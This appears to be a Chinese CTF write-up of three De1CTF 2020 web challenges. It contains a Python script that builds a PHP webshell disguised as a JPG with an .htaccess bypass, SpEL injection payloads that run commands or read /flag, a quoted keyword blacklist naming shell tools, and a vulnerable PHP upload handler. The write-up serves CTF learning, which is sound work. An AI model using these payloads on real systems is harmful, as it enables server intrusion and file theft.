Life has its own fate, and meeting may not be accidental.

0%

De1CTF(复现) web

我是笨比,当时两题思路都对!一次没成功就跑出去玩了。。。不过复现学到了好多新知识哈哈哈哈。

check in

考点: CGI(我好像是用正常htaccess改后缀做的) PHP短标签

![upload](1jpg %}

满足两个条件:

  • 首先不能包含【perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet】这些内容
  • 然后还要MIME是image类型才行

ph的限制的话用短标签来绕过。

1
2
3
4
5
6
7
8
9
10
11
短标签记得在php.ini里面把short_open_tag=on
我记得是默认开启的
简单描述:
<?= "hello!" ?>
等价于
<?php echo "hello!" ?>

所以可以构造<?=system('cat /flag') 来得到flag
然后利用.htaccess文件把jpg文件解析成php文件
.htaccess里面的php利用`\`加换行符绕过。('\':连接当前行与下一行字符)
我的理解:斜杠应该是转义(以前没遇到过,如果我说错了希望能纠正我一下,下次就不会错了。。)

生成两个文件的快捷脚本= =

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"


def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()


def generate_htacess():
htaccess = open('.htaccess', 'wb')

htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .jpg\n') ##反斜杠和换行自己手动加吧。

htaccess.close()


generate_htacess()

generate_php_file("shell.jpg", "<?=system('cat /flag');")

calc

考点: spel注入(以前用过这个类,或者他已经被包含进去了。看了好多博文,自己手动试了下,终于知道了。。)

这题用的是spring boot的框架,应该算是我最熟悉的框架了。不过我是第一次知道Scanner还有BufferedReader,两个类不仅可以读字符还可以读文件。学到了!~

前端是VUE的通过前端计算发送的请求,找到springboot写的接口。
![springbootAPI](2jpg %}

那别的Payload会发现他过滤了Runtime,java.lang,getClass,T(,new等字符。(一旦满足过滤就返回Hacker!)
可的类
收录下一个师傅收集的常用payload:

1
2
3
4
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

Scanner的payload

利用Scanner获取,file函数读取/flag里面的内容

1
2
3
New java.util.Scanner(New java.io.File("/flag")).next()
next()读到空格结束
nextLine()读到回车结束

BuffereReader的payload

利用BufferedReader获取FileReader读取/flag里面的内容

1
2
3
New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()
read()只读取一个字符
readLine()读取

这题正好查阅了很多资料。以前上课走神,没理解的一些东西,正好弄懂了~~~
![BufferedReader和FileReader的关系图,不知道哪里盗过来的,看太多了。。](3jpg %}
还有个问题困扰在我心里,为什么BufferedReader不能搭配File用,但是Scanner可以。查了好多资料都没找到原因(难道是抽象类的原因么。)

Hard_Pentest_1

无字母数字webshell之提高篇
一些不包含数字和字母的webshell

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}

function Check(){ //过滤
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);

if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>

参考

MIME类型
PHP短标签
spel注入
关于BufferedReader 和FileReader
Scanner读取与处理
无字母数字webshell之提高篇
一些不包含数字和字母的webshell